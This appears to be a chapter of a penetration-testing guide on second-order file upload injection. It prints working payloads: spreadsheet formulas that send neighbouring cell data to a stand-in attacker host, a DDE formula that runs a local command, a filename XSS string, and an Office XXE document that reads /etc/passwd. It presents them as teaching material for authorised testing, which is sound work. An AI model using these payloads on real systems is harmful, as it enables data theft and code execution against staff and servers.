Skip to content

Chapter 5

Second-order file injection

CSV formulas, metadata XSS, SQL injection, and Office XML entities.

2 min readFile Upload

Second-order bugs are the ones that sit quietly in storage until someone else opens them. Nothing fires during the upload itself, which is why most reviewers wave them straight through. The trigger happens hours or days later inside an admin dashboard, a batch export, or a desktop app.

Finance and support teams love exporting user tables to CSV or Excel. If the app exports your profile fields unescaped, Excel or Calc runs leading formula characters as code when staff open the sheet.

=HYPERLINK("https://attacker.example/?token="&A1, "Click Here")
=WEBSERVICE("https://attacker.example/collect?data="&A2)
=cmd|'/C calc'!A1
  1. Insert a formula payload into your account profile name or billing address field.
  2. Wait for an administrative export routine to generate a monthly CSV report.
  3. When the administrator opens the spreadsheet, the spreadsheet engine executes web calls or system commands.

The HYPERLINK and WEBSERVICE formulas exfiltrate sensitive neighboring cell values to external servers. The dynamic data exchange prefix executes local binaries if the user accepts security prompts.

Applications often extract and display metadata from uploaded images and documents. If the application fails to encode this metadata before rendering, injection occurs.

  • Filename cross-site scripting: A file named "><svg onload=alert(1)>.jpg triggers scripts in administrative logs.
  • Metadata cross-site scripting: EXIF tags such as Artist, Copyright, or UserComment execute scripts in gallery views.
  • Second-order SQL injection: File names inserted into database queries without parameterization trigger SQL injection.
  • PDF generation flaws: File names embedded into automated PDF reports exploit server-side LaTeX or PDF-JS engines.

Modern Microsoft Office documents with extensions .docx, .xlsx, and .pptx are zip archives containing XML files. If a server inspects or converts uploaded Office documents, it parses these internal XML documents.

Terminal window
unzip report.docx -d extracted_doc

Edit the internal word/document.xml file to add a document type definition with an external entity reference.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p>
<w:r>
<w:t>&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>

Recompress the directory into a zip archive and rename the extension to .docx. When the server converts the document or creates a text summary, it reads the local system file.

In enterprise software assessments, test document uploads that reach other human employees. Attackers upload documents containing embedded macros or Object Linking and Embedding relationships. When internal staff members review applicant resumes or vendor invoices, user prompt fatigue often leads to execution.

Next, Chapter 6 covers the storage and serving flaws that decide who can reach these files.

Connections1 backlink · 0 outgoing · 1 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Links out to

No outgoing internal links on this page.

File UploadFor authorized testing only.